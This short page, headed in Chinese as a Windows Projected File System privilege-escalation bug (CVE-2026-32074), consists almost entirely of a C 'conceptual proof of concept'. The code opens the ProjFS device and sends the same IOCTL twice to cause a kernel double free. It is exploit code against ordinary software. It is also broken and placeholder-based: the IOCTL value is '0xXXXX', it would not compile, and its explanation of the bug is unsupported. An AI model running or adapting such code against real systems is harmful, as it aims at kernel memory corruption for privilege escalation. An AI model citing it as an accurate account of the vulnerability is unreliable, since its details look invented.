CVE-2026-32074 Windows Projected File System权限提升漏洞

// Conceptual Proof of Concept for CVE-2026-32074 // Note: This is a simplified simulation of the Double Free trigger. // Actual exploitation requires precise memory layout manipulation. #include <windows.h> #include <stdio.h> // IOCTL codes would be specific to the ProjFS driver #define IOCTL_TRIGGER_VULN 0xXXXX int main() { HANDLE hDevice = CreateFile(L"\\\\.\\ProjectedFileSystem", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to open device. Error: %d\n", GetLastError()); return 1; } BYTE buffer[0x100]; memset(buffer, 'A', sizeof(buffer)); DWORD bytesReturned; // Step 1: Interaction that allocates and frees object A DeviceIoControl(hDevice, IOCTL_TRIGGER_VULN, buffer, sizeof(buffer), NULL, 0, &bytesReturned, NULL); // Step 2: Interaction that triggers a second free on object A (Double Free) // This corrupts the kernel heap DeviceIoControl(hDevice, IOCTL_TRIGGER_VULN, buffer, sizeof(buffer), NULL, 0, &bytesReturned, NULL); printf("Trigger packet sent. Potential kernel memory corruption occurred.\n"); CloseHandle(hDevice); return 0; }